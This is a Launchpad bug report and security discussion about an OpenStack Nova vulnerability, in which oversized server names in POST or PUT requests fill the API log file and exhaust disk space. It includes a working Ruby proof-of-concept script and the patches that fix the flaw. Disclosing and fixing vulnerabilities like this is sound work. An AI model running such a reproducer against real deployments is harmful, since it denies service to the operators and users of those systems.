PUT/POST of large server name's can increase nova API log file size massively

Bug #962515 reported by Dan Prince
264
This bug affects 1 person
Affects Status Importance Assigned to Milestone
OpenStack Compute (nova)
Fix Released
High
Dan Prince
Diablo
Fix Released
High
Unassigned

Bug Description

Using the following Ruby sample script I can increase the size of the Nova API log file 128M per POST:

require 'rubygems'
require 'openstack/compute'

USERNAME=ENV['NOVA_USERNAME']
API_KEY=ENV['NOVA_API_KEY']
API_URL=ENV['NOVA_URL']

bigboy = "0" * 22222222

conn=OpenStack::Compute::Connection.new(:username => USERNAME, :api_key => API_KEY, :auth_url => API_URL, :service_type => 'compute', :retry_auth => false)
conn.create_server(:name => bigboy, :imageRef => "8da06b6a-1ddd-4d4f-aa54-579e95b5e8b1", :flavorRef => 1)

------

Similarly I can do the same thing with a PUT (server name update):

conn=OpenStack::Compute::Connection.new(:username => USERNAME, :api_key => API_KEY, :auth_url => API_URL, :service_type => 'compute', :retry_auth => false)
server=conn.server("695e8b03-aed1-40ab-81bc-8e7456c36215")
server.update(:name => bigboy)

---

Each of these requests will increase the Nova API log file size by 128M per request:

[root@nova1 ~]# du -hs /var/log/nova/api.log
128M /var/log/nova/api.log

---

The root cause of the issue is that we rely on the Nova database column size to limit the size of the instance name. We should put in an API check on the instance name size/length before sending it off to the database.

Additionally, as part of this fix I would also like to incorporate a simple request size limiting middleware into our API pipeline so that really large requests are invalid to begin with.

---

This exploit could allow an authenticated user to run the Nova API server out of disk space.

Nova's rate limiting middleware will help guard the number of POST and PUT requests a given user can make. The default POST limit to /servers is 50 per day. The PUT limit is however much higher at 10 per minute. Either of these could provide opportunities to run API servers out of disk space.

CVE References

Dan Prince (dan-prince)
Changed in nova:
status: New → In Progress
importance: Undecided → High
assignee: nobody → Dan Prince (dan-prince)
Revision history for this message
Thierry Carrez (ttx) wrote :

even if the log is not at DEBUG level ?

Revision history for this message
Thierry Carrez (ttx) wrote :

Adding PTL

Revision history for this message
Dan Prince (dan-prince) wrote :

ttx: This happens when running without DEBUG (I'm not using the --verbose flag etc.).

Revision history for this message
Vish Ishaya (vishvananda) wrote :

nasty. Is it also stored in the db that large?

Revision history for this message
Dan Prince (dan-prince) wrote :

vish: it doesn't get store in the DB that large. Just the nova api.log file.

Revision history for this message
Dan Prince (dan-prince) wrote :

Using MySQL...

Thierry Carrez (ttx)
tags: added: essex-rc-potential
Revision history for this message
Thierry Carrez (ttx) wrote :

I suspect this affects Diablo as well ?
Like for the Keystone issue, we don't really want the coordinated disclosure to interfere with our RC publication or final release...

If the request size limiting middleware works around the issue completely, would merging it innocently in Nova RC2 and working on disclosure asynchronously be an option ?

Revision history for this message
Dan Prince (dan-prince) wrote :

So...

The fix for the instance name issue is pretty simple:

+++ b/nova/api/openstack/compute/servers.py
@@ -505,6 +505,10 @@ class Controller(wsgi.Controller):
             msg = _("Server name is an empty string")
             raise exc.HTTPBadRequest(explanation=msg)

+ if not len(value) < 256:
+ msg = _("Server name must be less than 255 characters.")
+ raise exc.HTTPBadRequest(explanation=msg)

----

I am however concerned that this same problem could occur in other places as well. We don't appear to validate the size of image snapshot names either for example. I haven't tested to see what Glance actually does with a 128M image name but it could cause problems...

---

Putting in middleware to limit the request size is fairly straightforward and shouldn't affect anything that I know of in the OSAPI (it would potentially affect the EC2 API but we can ignore it for this anyway). And it would globally guard against really large requests attacks.

I'm not sure it really belongs in nova's code base long term however. Both Apache and Nginx are quite capable of doing this already and most production deployments are probably using something similar for SSL or load balancing already.

In summary maybe it is a good short term solution... and long term we can move towards better validation in the OSAPI. We recently added some Validator middleware to EC2's API. Perhaps something similar would help with the OSAPI requests as well.

Revision history for this message
Thierry Carrez (ttx) wrote :

We could push a public fix for an innocent-looking "long server names trigger 500 error instead of 400" bug that would also silently fix this.

The issue being, as you mentioned, that it doesn't really address potential other affected areas.

Revision history for this message
Thierry Carrez (ttx) wrote :

(fixing it silently in the RC allows us to embargo/coordinate with downstream on the diablo fix)

Revision history for this message
Russell Bryant (russellb) wrote :

Are we really in that much of a time crunch to get this into an RC? Pushing out security patches disguised as something else is a bad habit for us to get into ...

Revision history for this message
Dan Prince (dan-prince) wrote :

ttx: So... what I told you on IRC about 257 char server names was incorrect. It appears that a request to set the server name to a value larger than 255 will silently truncate it... that is until it gets really large (Megs) and that is when SQL exceptions start getting thrown thus causing this issue.

Bottom line is to expose this the requests need to be really large.

Revision history for this message
Thierry Carrez (ttx) wrote :

@Russell: I don't like it either. The trick is that RC2 for Nova is likely to be ready on Thursday next week... and I would hate to delay it or re-roll it. I just don't see how we can make the coordinated release date align on such short notice. Or can we ?

Revision history for this message
Russell Bryant (russellb) wrote :

If the notification went out today, Thursday seems ok. Otherwise, I think that's cutting it too close.

Revision history for this message
Russell Bryant (russellb) wrote :

... or maybe Monday. I guess that's still a few days notice.

Revision history for this message
Dan Prince (dan-prince) wrote :

Patch that adds a validation for OSAPI server name length.

Revision history for this message
Dan Prince (dan-prince) wrote :

Request body size limiting middleware patch.

Revision history for this message
Dan Prince (dan-prince) wrote :

Attached are patches that should fix this issue. I'll wait to hear back from Thierry about how to proceed.

Revision history for this message
Thierry Carrez (ttx) wrote :

We have three options:
1- File a public "server names over size should return 400" bug and fix it openly in RC2, then calmly do a CRD for stable/diablo
2- Propose the OSAPI server name length patch for coordinated disclosure and complete it just in time for RC2
3- Propose the server name patch AND the sizelimit middleware for coordinated disclosure and complete them just in time for RC2

My issue with solution (3) is that we would push all requests through the new sizelimiting middleware as the very last thing before RC2 publication... which sounds extremely risky to me, that late in the cycle, for the potential benefit of catching unknown other ways of abusing large requests. I'll let Vish decide, but with my release manager hat on, I'd -1 this.

If we don't push the sizelimit middleware in Essex anyway, then I'd rather do option (1) than option (2).
Other opinions ?

Revision history for this message
Thierry Carrez (ttx) wrote :

Proposed impact description:

Title: Long server names grow nova-api log files significantly
Impact: High
Reporter: Dan Prince
Products: Nova
Affects: All versions

Description:
Dan Prince reported a vulnerability in OpenStack Compute (Nova) API servers. By PUTing or POSTing extremely long server names to the OpenStack API, any authenticated user may grow nova-api log files significantly, potentially resulting in disk space exhaustion and denial of service to the affected nova-api nodes. Only setups running the OpenStack API are affected.

Revision history for this message
Russell Bryant (russellb) wrote :

I vote for option 2, just because I think this practice of openly fixing security issues as something else less serious is poor practice. I'll defer to ttx for the final decision, though.

Revision history for this message
Thierry Carrez (ttx) wrote :

I'm OK with option 2, if the stakeholders announcement is sent today for a CRD at the end of the week (Thursday or Friday). Would like to have Vish's blessing of the patch and the strategy first.

Revision history for this message
Vish Ishaya (vishvananda) wrote :

2 is ok. I still don't mind putting in the size middleware as an option so that deployers can turn it on if needed. But I'm fine doing it with a backport to stable/essex later.

Revision history for this message
Russell Bryant (russellb) wrote :

I'm about to send out the advance notification ...

I noticed one typo in the patch. The log message says the name must be less than 255 characters, but the code enforces less than 256. I'm just changing the message to say 256 instead of 255.

Revision history for this message
Russell Bryant (russellb) wrote :

CRD is Thursday, March 29th, 1500 UTC

Thierry Carrez (ttx)
Changed in nova:
milestone: none → essex-rc2
tags: removed: essex-rc-potential
Revision history for this message
Thierry Carrez (ttx) wrote :

Added markmc and Daviey for stable/diablo

Revision history for this message
Russell Bryant (russellb) wrote :

CRD reached and patch pushed to gerrit, opening the issue

visibility: private → public
Revision history for this message
Thierry Carrez (ttx) wrote :

Added blamar for pre-review

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to nova (master)

Reviewed: https://review.openstack.org/5955
Committed: http://github.com/openstack/nova/commit/c7f526fae6062e9ab51f65474af71d496aa66554
Submitter: Jenkins
Branch: master

commit c7f526fae6062e9ab51f65474af71d496aa66554
Author: Dan Prince <email address hidden>
Date: Fri Mar 23 15:03:19 2012 -0400

    Add validation for OSAPI server name length.

    Fixes LP Bug #962515.

    Change-Id: Iee895604f8e9101a341a5909fc5ba2dd8e708b4b

Changed in nova:
status: In Progress → Fix Committed
Revision history for this message
OpenStack Infra (hudson-openstack) wrote :

Reviewed: https://review.openstack.org/5957
Committed: http://github.com/openstack/nova/commit/0fa7d12dbfb7ae016657dd91034b4c0781ea43de
Submitter: Jenkins
Branch: master

commit 0fa7d12dbfb7ae016657dd91034b4c0781ea43de
Author: Dan Prince <email address hidden>
Date: Fri Mar 23 15:40:57 2012 -0400

    Adds middleware to limit request body sizes.

    Fixes LP Bug #962515.

    Change-Id: Ic1be1459515654d45febd89da58b19e0840aaf9d

Revision history for this message
Joe Gordon (jogo) wrote :

Why is the limit 256 characters?

Revision history for this message
Dan Prince (dan-prince) wrote :

That is the limit of the field in the instances table:

| server_name | varchar(255) | YES | | NULL | |

Revision history for this message
Joshua Harlow (harlowja) wrote :

How many other places in nova/elsewhere have this issue :-(
Seems like any buffer being read from input needs to be size limited and/or type checked before it hits the DB (which will also either chop off part of the string or fail at insertion time).

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to nova (milestone-proposed)

Fix proposed to branch: milestone-proposed
Review: https://review.openstack.org/6018

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to nova (milestone-proposed)

Reviewed: https://review.openstack.org/6018
Committed: http://github.com/openstack/nova/commit/c869a41951b77c6930bf4fb4734f05cd3d6ac4b1
Submitter: Jenkins
Branch: milestone-proposed

commit c869a41951b77c6930bf4fb4734f05cd3d6ac4b1
Author: Dan Prince <email address hidden>
Date: Fri Mar 23 15:03:19 2012 -0400

    Add validation for OSAPI server name length.

    Fixes LP Bug #962515.

    Change-Id: Iee895604f8e9101a341a5909fc5ba2dd8e708b4b

Changed in nova:
status: Fix Committed → Fix Released
Thierry Carrez (ttx)
Changed in nova:
milestone: essex-rc2 → 2012.1
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to nova (stable/diablo)

Reviewed: https://review.openstack.org/5956
Committed: http://github.com/openstack/nova/commit/1ebec5726c7a9db0a6f29fad0ef747b0c087f702
Submitter: Jenkins
Branch: stable/diablo

commit 1ebec5726c7a9db0a6f29fad0ef747b0c087f702
Author: Dan Prince <email address hidden>
Date: Thu Mar 29 10:46:59 2012 -0400

    Add validation for OSAPI server name length.

    Diablo Fix for LP Bug #962515.

    Change-Id: Ifa1ca56a33ca517679fa80bfd10b962eeebe3a76

tags: added: in-stable-diablo
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.